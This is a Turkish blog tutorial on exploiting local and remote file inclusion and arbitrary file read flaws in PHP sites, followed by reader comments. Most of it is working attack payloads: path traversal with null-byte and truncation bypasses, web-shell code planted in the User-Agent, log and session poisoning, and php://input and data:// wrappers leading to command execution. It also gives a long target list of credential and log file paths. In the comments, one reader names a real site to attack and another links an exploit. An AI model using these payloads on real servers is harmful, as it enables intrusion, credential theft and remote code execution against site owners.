LFI/RFI ve Arbitrary File Read Açıkları

LFI/RFI ve Arbitrary File Read Açıkları

Bu tür açıklar her script dilinde görülebilir fakat en yaygın olarak görülen "php" dir. Biz örneklerimizi "php" dilinde vereceğiz. Zaten kullanım bakımından her dilde aynı yöntemler izlenmektedir. LFI "local file include" yani "yerel dosya çağırma" manasına gelmekte.
RFI(remote file include) ise aynı işin yerel dosya değil uzak server’daki bir dosyayı çağırarak yapılanı.
Php "wrapper" özelliği ile örneğin: “http://site.com/index.php?page=http://asd.com/x.txt şeklinde bir include yapmaya çalıştığınızda, php bu dosyanın bir “url” olduğunu algılar ve url üzerinden dosyayı include eder.
Eskiden default olarak "apache php" nin remote url çağırabilme özelliği(php http: wrapper) aktifti fakat eski versionlar dışında bu özellik disabled olarak gelmekte. Bu sebeple "rfi" nin eski popülaritesi kalmamakla birlikte yerini "lfi" ye bıraktı.



Açık Neden Kaynaklanır?
Bu tür açıklar, Scriptte sayfa include edilirken, include edilecek sayfanın, kullanıcının müdahale edebildiği veriler üzerinden tanımlanmasından kaynaklanır (İstekle alınan parametreler (get, post ...)cookieler, tarayıcı tanımlamaları vb.).
Açık, aşağıda belirtilen fonksiyonlar(ve benzer daha pek çok fonksiyon) scriptte çalıştırılırken, dışarıdan alınan parametrenin filtrelenmeden dosya ismi olarak kullanılıp include edilmesinden kaynaklanmaktadır.

include()
include_once()
require()
require_once()
fopen()
file_get_contents()

Bu fonksiyonlardan fopen() ve file_get_contents() ise genelde "Arbitrary File Read" yani "Keyfi Dosya Okuma" açıklarına mahal verir. Rfi ve Lfi'nin aksine dosya okuma açığında, dosya server’da çalıştırılmaz, sadece serverdaki herhangi bir dosyanın kaynak kodu okunur. Onun dışında kullanım yöntemi diğerleriyle aynıdır.
Örnek url:
http://site.com/index.php?page=haberler

Bu url de "page=haberler" parametresini değiştirip "page=haberlerasdasd" şu hatayla karşılaşıyoruz:

Warning: include(haberlerasdasd.php) [function.include]: failed to open stream: No such file or directory in /var/www/html/site.com/index.php on line 135
Bu hata bize 2 şey hakkında bilgi veriyor. 1. si "page" parametresi üzerinden alınan veri, "index.php" de include ediliyor.

Muhtemelen şu tarz bir koda sahip:
<?php
...
include $_GET['page'].'.php'; /*tam burası açığın kaynağı*/
...
?>

2. bilgi ise kodda da yazdığımız gibi "include" edeceği dosyanın sonuna ".php" uzantısını eklemesi. Dikkat ettiyseniz hatada "haberlerasdasd.php" bulunamadı diyor.
Oysa biz "page=haberlerasdasd" göndermiştik.
Eğer scriptimiz dosya isminin sonuna ".php,.html vs.." gibi uzantılar ekliyorsa, bu istediğimiz her dosyayı include edemeyeceğimiz manasına gelir.

Örneğin: "/etc/passwd" yazdığımızda script bunu "/etc/passwd.php" ye çevirecektir. Peki bu durumu nasıl aşıp saldırıya uygun hale getirebiliriz?

1. yöntem: "?" özel karakteri.
Web uygulama serverlarında 1. "?" karakterinden sonra gelenler parametrelerdir. Fakat pek çoğunda 2. kez kullanılırsa kendinden sonra gelen tüm karakterleri ihmal eder.
"page=../../etc/passwd?" yazdığımızda sonuna ".php" eklese bile bu kısım görmezden gelinecektir.
Bu arada "../" karakterleri bir alt dizine geçiş manasına gelir. Çağıracağımız dosyanın klasörüne geçmek için gerekliyse alt dizine geçiş karakterleri kullanmalıyız.

2. yöntem: NULL byte ()
Null byte'ın url encode'da karşılığı dır. Null byte stringleri sonlandırma karakteridir. Url üzerinden girilen veriyi alırken de string kullanılacağından stringi sonlandırır.
Bu sayede kendinden sonra eklenen ".php,.html vs." gibi uzantılar görmezden gelinir.
"page=../../etc/passwd % 00" (blogger silmekte olduğundan % 00 kısmını ayrı yazdım)

3. yöntem: Web Application Server'ın String de taşma yapmasını sağlamak.
Bu yöntemi bazı web application serverlarda gerçekleştirebildim. Yöntem şu şekilde:
http://www.site.com/index.php?page=/etc/passwd bizim yapmak istediğimiz bu include olsun. 
Bizim include etmek istediğimiz sayfanın sonuna .php ekleniyor olsun. Ve server tarafından alınabilen url uzunluğu max 1024 byte olsun.

Burada şöyle bir yöntem izlememiz gerekir; mümkün olduğunca uzun bir url girmeliyiz fakat include etmek istediğimiz /etc/passwd değişmemeli. Bildiğiniz gibi  bu dosya yolunun sonuna /./ eklemek bir şeyi değiştirmeyecektir. Sorunsuz bir şekilde çalışacaktır. Bu da demektir ki taşma yapana kadar /./ karakter dizisi ekleyebiliriz.

Örnek:
http://www.site.com/index.php?page=/etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

Not: Bazı sunucularda bu kullanım doğru kabul edileceği gibi bazılarında kullanım şu şekilde olabilir:
http://www.site.com/index.php?page=/etc/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././passwd

Ne kadar ekleneceği serverdan servera göre değişir. Bu bazen url alınırken gerçekleşebileği gibi bazen de alınan url stringe dönüştürülürken de gerçekleşebilir.

Tespit Yöntemleri:
Bu tür hatalar alındığında açığın varlığı hemen tespit edilebilse de bazen hata uyarılarının kapatılması veya custom hata sayfalarının kullanılması sebebiyle tespit edilmesi zorlaşabilir.
Böyle durumlarda da kullanabileceğimiz birkaç tespit yöntemi bulunmakta ve bu yöntemler denemeler üzerinden çıkarım yapmaya dayanmakta.

Örneğin;
"page=haberler" parametresini değiştirip farklı birşey yaptığımızda sayfa boş dönüyor olsun.
Burada "lfi" açığı olup olmadığını nasıl anlarız?
Burada ilk denememiz gereken, sitede mevcut bir sayfayı çağırmaya çalışmaktır. Bu sayfa genelde "index.php" dir. Yani "page=index" denememiz gerekiyor.
Sayfanın boş çıkıp çıkmadığı kontrol edilir. Eğer sayfa boş değil de “index.php” yi içeriyorsa, açığımız mevcuttur. Peki ya "index.php" "haberler.php" ile aynı klasörde değilse?
Eğer sayfa boş çıkarsa bunu da göz önünde bulundurmamız gerekmekte. "../index.php", "../../index.php" şeklinde denemelere devam etmeliyiz.
Lfi tespit etmek için linuxte "/etc/passwd", windowsta "c:\boot.ini" dosyasını include etmeye çalışabilirsiniz.
/etc/passwd” dosyası linux kullanıcı isimlerini ve dizin yollarını verecektir. Şuna benzer bi görünümle karşılaşılır:

Linux serverlarda “/proc/self/environ” dosyası:
Bu dosya o anda kullanılan “process” in “environment” bilgisini bize verir. Eğer lfi üzerinden include edersek bize “Apache Serverenvironment bilgisini verecektir. Bu da sayfayı ziy
aret eden kullanıcının yani bizim bilgilerimizi verecektir. Çıktı şu şekilde olacaktır:

Bu çıktıda dikkat ettiyseniz tarayıcı tanımlamamız “HTTP_USER_AGENThttp header parametresinde görünmekte. Peki bu ne işimize yarar? Tarayıcı tanımlamamıza bir php kodu yazarak “/proc/self/environ” u lfi ile include edersek, serverda php kodu çalıştırabiliriz.

Peki tarayıcı ismini nasıl değiştiririz?
Burp Suite gibi http header’ları değiştirme imkanı sağlayan masaüstü programlarıyla, Tamper Data gibi isteği göndermeden önce müdahale edebilen “mozilla” eklentileriyle tarayıcı ismimizi değiştirebiliriz. Veya “Opera Web Browser” da kendinden mevcut olan “opera:config” ara yüzünden “ISP” sekmesindeki parametreyi değiştirebiliriz.
Çalıştıracağımız php kodunu (örn: “<?php echo system($_GET[‘cmd’]); ?>” ) tarayıcı tanımlamamıza yazdıktan sonra şu şekilde exploit edebiliriz;
http://site.com/index.php?page=../../proc/self/environ&cmd=ls

Peki ya “/proc/self/environ” dosyasına erişim yoksa?

/proc/self/environ” dosyası o anki kendisini çağıran process’in bilgileri verir. “/proc/processid/environ” şeklinde ise “process id” si bilinen herhangi bir process’in verilerine erişilebilir. Önce web application server process id sini bulmak için “/proc/self/status” dosyasından faydalanacağız. Bu dosyayı include ettiğimizde şöyle bir çıktı alırız:



Bu çıktıyı inceleyecek olursak;

Burada uygulama isminin “apache2” olduğunu görüyoruz. “Pid:3371” ise process id değerimiz. Biz bu değeri kullanacağız. Doğrudan self ile erişime kapalı olan bazı durumlarda bu şekilde şansımızı denemekte fayda var. Örnek saldırı kodu:
http://site.com/index.php?page=../../proc/3371/environ&cmd=ls
Diyelim ki bu da çalışmadı.
Bir de “file description” dosyaları üzerinden “include” yapmayı deneyelim. Bu dosyalar “/proc/self/fd/isim” şeklinde saklanır. “processid” ile de erişmek mümkündür(/proc/3371/fd/isim).

Bu dosyalar “log dosyaları” gibi Apache’nin sürekli kullandığı bazı dosyaların “symlink” dosyalarıdır. Yani bu dosyalar, apache log dosyalarının içeriğini içerirler (barındırırlar daha doğru olur). Peki isimleri nelerdir? İsimler 0 ile FDSize değeri arasında olabilir. Deneyerek bunları tespit etmek mümkündür. FDSize değerini ise az önceki resimde görebiliriz.

Örnek saldırı:
http://site.com/index.php?page=../../proc/3371/fd/9&cmd=ls
http://site.com/index.php?page=../../proc/self/fd/9&cmd=ls

Log Dosyalarını Inject Etmek
Bildiğiniz gibi işletim sistemlerinde her şey loglanır. Buna gelen http istekleri de dahil. Access log’lar, error log’lar, mysql logları vb. işimizi görecek log dosyalarıdır. Çünkü bu loglarda http isteklerinde geçen verilerle alakalı bilgiler tutulur.

Yani mantık şudur;
Biz server’a bir istek gönderdiğimizde, istek bir sorunla karşılaşırsa “apache error log” dosyasında yeni bir satır oluşturulup bu istekle ilgili detaylar yazılır. Bu detaylardan birkaç tanesini kullanarak log dosyasına kendi kodumuzu inject edebiliriz. Daha sonra da lfi açığı mevcut url’mizden bu log dosyasını include ederek istediğimiz kodu çalıştırabiliriz.

Örneğin:
http://site.com/<?php%20phpinfo();%20?>
Adresini adres çubuğundan ziyaret etmeye çalışırsak, böyle bir dosya mevcut olmadığından hata loglarına istek bilgileri yazılır. Tabi ki ziyaret edilen url de yazılacaktır. Eğer url de loga aktarılırken karakter bozulmaları görülürse, log dosyasına aktarılan müdahale edebildiğimiz diğer verileri de kullanabiliriz. Örneğin; tarayıcı bilgisi, referrer bilgisi vb.

İstekten sonra saldırımızı yapacak olursak:
http://site.com/index.php?page=../../var/log/apache2/error.log

Eğer log dosyasına erişim iznimiz varsa çıktımız şöyle olacaktır;



Gördüğümüz gibi “log” dosyası normal bi şekilde include edilmişken “<?php phpinfo(); ?>” kodumuzun olduğu satır php kodu olarak çalıştırıldı.

Bunun dışında “Php Session” dosyaları da “kod include” için kullanılabilir. Örneğin site bizim bilgilerimizi “PHPSessionId” cookie(server taraflı) session bilgisiyle saklıyor olsun. Bizim bilgilerimizi tarayıcımızdaki PHPSESSID cookie değeri ile karşılaştırılır. Bizim bu cookie değerini tarayıcıdan doğrudan değiştirmemiz bir şey ifade etmez çünkü önemli olan serverda tutulan dosyadır. Ancak bu dosyada neler tutulduğunu tahmin edebilirsek istediğimiz veriyi dosyaya “inject” etme imkanına sahip olabiliriz. Örneğin “dil” seçeneği site üzerinden seçilebiliyor olsun(http://site.com/?dil=tr). Daha sonra her defasında bu seçimi yapmamak için webmasterımız bu değeri php session  içerisinde saklıyor olsun. Şöyle bir ziyaret yaptığımızı düşünürsek http://site.com/?dil=<?php%20phpinfo();%20?>

Server, session dosyamızı değiştirecek ve yeni dil seçimimize php kodumuzu yazacaktır. Daha sonra geriye sadece bu dosyayı lfi ile include etmek kalır. Buna benzer senaryolar ile programcının kodlama mantığı tahmin edilerek bir şekilde php session dosyasına kod injection yapılır

Php Session dosyaları linuxlerde genelde aşağıdaki dizinlerde tutulur;
§  /tmp/sess_<sessid> (Buradaki sessid değerleri cookie kontrolü ile görebildiğimiz değerdir.)
§  /var/lib/php/session/sess_<sessid>
§  /var/lib/php5/session/sess_<sessid>

windows’ta ise şu şekildedir:
§  *:\WINDOWS\TEMP\
§  *:\php\sessions\
§  *:\php5\sessions\
§  *:\php4\sessions\


Peki log dosyalarının ve önemli dosyaların dizin yolları nelerdir?
Dizin yolları değişkenlik gösterse de en yaygın olanları aşağıda derlenmiştir. Bunların bazıları log dosyası olduğu gibi bazıları da sistem hakkında işimize yarayacak bilgiler toplayabileceğimiz dosyalardır. Özellikle httpd.conf dosyaları pek çok zaman log dosyalarının yollarıyla ilgili bilgiler tutmaktadır.

§  /etc/passwd
§  /etc/master.passwd
§  /etc/shadow
§  /var/db/shadow/hash
§  /etc/group
§  /etc/hosts
§  /etc/motd
§  /etc/issue
§  /etc/release
§  /etc/redhat-release
§  /etc/crontab
§  /etc/inittab
§  /proc/version
§  /proc/cmdline
§  /proc/self/environ
§  /etc/httpd.conf
§  /etc/apache2.conf
§  /etc/apache2/apache2.conf
§  /etc/apache2/httpd.conf
§  /etc/httpd/conf/httpd.conf
§  /etc/httpd/httpd.conf
§  /etc/apache2/conf/httpd.conf
§  /etc/apache/conf/httpd.conf
§  /usr/local/apache2/conf/httpd.conf
§  /usr/local/apache/conf/httpd.conf
§  /etc/apache2/sites-enabled/000-default
§  /etc/apache2/sites-available/default
§  /etc/nginx.conf
§  /etc/nginx/nginx.conf
§  /etc/nginx/sites-available/default
§  /etc/nginx/sites-enabled/default
§  /etc/ssh/sshd_config
§  /etc/my.cnf
§  /etc/mysql/my.cnf
§  /etc/php.ini
§  /var/mail/www-data
§  /var/mail/www
§  /var/mail/apache
§  /var/mail/nobody
§  /var/www/.bash_history
§  /root/.bash_history
§  /var/root/.bash_history
§  /var/root/.sh_history
§  /usr/local/apache/httpd.conf
§  /usr/local/apache2/httpd.conf
§  /usr/local/httpd/conf/httpd.conf
§  /usr/local/etc/apache/conf/httpd.conf
§  /usr/local/etc/apache2/conf/httpd.conf
§  /usr/local/etc/httpd/conf/httpd.conf
§  /usr/apache2/conf/httpd.conf
§  /usr/apache/conf/httpd.conf
§  /etc/http/conf/httpd.conf
§  /etc/http/httpd.conf
§  /opt/apache/conf/httpd.conf
§  /opt/apache2/conf/httpd.conf
§  /var/www/conf/httpd.conf
§  /usr/local/php/httpd.conf
§  /usr/local/php4/httpd.conf
§  /usr/local/php5/httpd.conf
§  /etc/httpd/php.ini
§  /usr/lib/php.ini
§  /usr/lib/php/php.ini
§  /usr/local/etc/php.ini
§  /usr/local/lib/php.ini
§  /usr/local/php/lib/php.ini
§  /usr/local/php4/lib/php.ini
§  /usr/local/php5/lib/php.ini
§  /usr/local/apache/conf/php.ini
§  /etc/php4/apache/php.ini
§  /etc/php4/apache2/php.ini
§  /etc/php5/apache/php.ini
§  /etc/php5/apache2/php.ini
§  /etc/php/php.ini
§  /etc/php/php4/php.ini
§  /etc/php/apache/php.ini
§  /etc/php/apache2/php.ini
§  /usr/local/Zend/etc/php.ini
§  /opt/xampp/etc/php.ini
§  /var/local/www/conf/php.ini
§  /etc/php/cgi/php.ini
§  /etc/php4/cgi/php.ini
§  /etc/php5/cgi/php.ini
§  /var/log/lastlog
§  /var/log/wtmp
§  /var/run/utmp
§  /var/log/messages.log
§  /var/log/messages
§  /var/log/messages.0
§  /var/log/messages.0.gz
§  /var/log/messages.1
§  /var/log/messages.1.gz
§  /var/log/messages.2
§  /var/log/messages.2.gz
§  /var/log/messages.3
§  /var/log/messages.3.gz
§  /var/log/syslog.log
§  /var/log/syslog
§  /var/log/syslog.0
§  /var/log/syslog.0.gz
§  /var/log/syslog.1
§  /var/log/syslog.1.gz
§  /var/log/syslog.2
§  /var/log/syslog.2.gz
§  /var/log/syslog.3
§  /var/log/syslog.3.gz
§  /var/log/auth.log
§  /var/log/auth.log.0
§  /var/log/auth.log.0.gz
§  /var/log/auth.log.1
§  /var/log/auth.log.1.gz
§  /var/log/auth.log.2
§  /var/log/auth.log.2.gz
§  /var/log/auth.log.3
§  /var/log/auth.log.3.gz

SOLARIS için:
§  /var/log/authlog
§  /var/log/syslog
§  /var/adm/lastlog
§  /var/adm/messages
§  /var/adm/messages.0
§  /var/adm/messages.1
§  /var/adm/messages.2
§  /var/adm/messages.3
§  /var/adm/utmpx
§  /var/adm/wtmpx

Macintosh için:
§  /var/log/kernel.log
§  /var/log/secure.log
§  /var/log/mail.log
§  /var/run/utmp
§  /var/log/wtmp
§  /var/log/lastlog

HTTP log dosyaları:
§  /var/log/access.log
§  /var/log/access_log
§  /var/log/error.log
§  /var/log/error_log
§  /var/log/apache2/access.log
§  /var/log/apache2/access_log
§  /var/log/apache2/error.log
§  /var/log/apache2/error_log
§  /var/log/apache/access.log
§  /var/log/apache/access_log
§  /var/log/apache/error.log
§  /var/log/apache/error_log
§  /var/log/httpd/access.log
§  /var/log/httpd/access_log
§  /var/log/httpd/error.log
§  /var/log/httpd/error_log
§  /etc/httpd/logs/access.log
§  /etc/httpd/logs/access_log
§  /etc/httpd/logs/error.log
§  /etc/httpd/logs/error_log
§  /usr/local/apache/logs/access.log
§  /usr/local/apache/logs/access_log
§  /usr/local/apache/logs/error.log
§  /usr/local/apache/logs/error_log
§  /usr/local/apache2/logs/access.log
§  /usr/local/apache2/logs/access_log
§  /usr/local/apache2/logs/error.log
§  /usr/local/apache2/logs/error_log
§  /var/www/logs/access.log
§  /var/www/logs/access_log
§  /var/www/logs/error.log
§  /var/www/logs/error_log
§  /opt/lampp/logs/access.log
§  /opt/lampp/logs/access_log
§  /opt/lampp/logs/error.log
§  /opt/lampp/logs/error_log
§  /opt/xampp/logs/access.log
§  /opt/xampp/logs/access_log
§  /opt/xampp/logs/error.log
§  /opt/xampp/logs/error_log

Windows İçin Dosya Yolları:
§  *:\boot.ini
§  *:\WINDOWS\win.ini
§  *:\WINNT\win.ini
§  *:\WINDOWS\Repair\SAM
§  *:\WINDOWS\php.ini
§  *:\WINNT\php.ini
§  *:\Program Files\Apache Group\Apache\conf\httpd.conf
§  *:\Program Files\Apache Group\Apache2\conf\httpd.conf
§  *:\Program Files\xampp\apache\conf\httpd.conf
§  *:\php\php.ini
§  *:\php5\php.ini
§  *:\php4\php.ini
§  *:\apache\php\php.ini
§  *:\xampp\apache\bin\php.ini
§  *:\home2\bin\stable\apache\php.ini
§  *:\home\bin\stable\apache\php.ini
§  *:\Program Files\Apache Group\Apache\logs\access.log
§  *:\Program Files\Apache Group\Apache\logs\error.log
C:\apache\logs\access.log
C:\apache\logs\error.log
C:\Program Files\Apache Group\Apache\logs\access.log
C:\Program Files\Apache Group\Apache\logs\error.log
C:\program files\wamp\apache2\logs
C:\wamp\apache2\logs
C:\wamp\logs
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log

PHP wrapper'ları
Bu yöntemlerde ise php nin bünyesinde mevcut bazı özelliklerden faydalanabiliriz. Yalnız bu özelliklerin enabled olup olmadığını sadece deneyerek anlayabiliriz.
Bu wrapperlarla ilgili detaylı bilgi için:

PHP Filter:
Aşağıdaki şekilde isteklerle eğer bu wrapperlar enabled durumundaysa, lfi açığını arbitrary file read açığına çevirmiş olursunuz.
http://www.site.com/index.php?page=php://filter/read=convert.base64-encode/resource=dosya.php
Dosya eğer page parametresine .php ekliyorsa aşağıdaki gibi çağırabilirsiniz.
http://www.site.com/index.php?page=php://filter/read=convert.base64-encode/resource=dosya

PHP Input:
Bu wrapper en tehlikelisidir, çünkü bunu kullanarak lfi açığınızı rce açığına çevirebilirsiniz. Örnek kullanım şekli aşağıdaki gibidir:
http://www.site.com/index.php?page=php://input
Bu url yi ziyaret ederken ise post olarak veri göndermeniz ve gönderdiğiniz veriye php kodu yazmanız gerekir.
Örnek post verisi şu şekilde olabilir: POST verisi: <? passthru("ls -la"); ?>
Php input wrapperının çalıştırıldığını görünce, gelen post isteğine bakacak ve bu datayı çalıştıracaktır.

PHP Data:
Bu wrapper ise data:// olarak gelen parametre verisini alır ve fonksiyona dahil eder. Örnek kullanım şekli;
http://www.site.com/index.php?page=data://text/plain,<?passthru($_GET['cmd']);?>
tabi url üzerinde ? karakterlerini kullanırsanız url bozulacağı için bu karakterleri hex karşılığıyla yazmalısınız. Diğer bir deyişle kodunuzu URLEncode yapmalısınız. Çıktı ise şu şekilde olacaktır:
http://www.site.com/index.php?page=data://text/plain,%3C%3Fpassthru(%24_GET%5B'cmd'%5D)%3B%3F%3E
Şimdi ise bu url ye cmd parametresi ekleyeceğiz çünkü yazacağımız cmd parametresi bu sayfada passthru fonksiyonuna gönderilecek.
Son saldırı kodu ise şu şekildedir:
http://www.site.com/index.php?page=data://text/plain,%3C%3Fpassthru(%24_GET%5B'cmd'%5D)%3B%3F%3E&cmd=ls -la
Burada magic_quotes_gpc gibi fonksiyonlardan kaçış için $_GET['cmd'] yerine $_GET[0] kullanmak da başka bi püf noktamız olsun ve yazımızı sonlandıralım.

Scorp sundu;

Kaynak belirtmeden alıntı yapmak yasaktır.

5 yorum

Author
avatar

page=sayfa anlamak için page=sayfa.php? ve page=sayfa.html? diye baksak sorun olmaz herhalde ..

Reply
Author
avatar

tabi lfi tespit ederken bunları denemek lazım

Reply
Author
avatar

bi türlü dökülmüyor dosyalar önüme :D denedim bypass yöntemlerini ama yapamadım :(

bi baksanız : http://www.lhc-facts.ch/index.php?page=qwe

Reply
Author
avatar

internetteki diger dökümanlara göre anlatım biraz daha detaylı ve anlaşılır olmuş, devamıda gelir inş.

Reply
Author
avatar

lfi için bu exploiti kullanabilirsiniz
http://paste2.org/hEm0Ye7C

Reply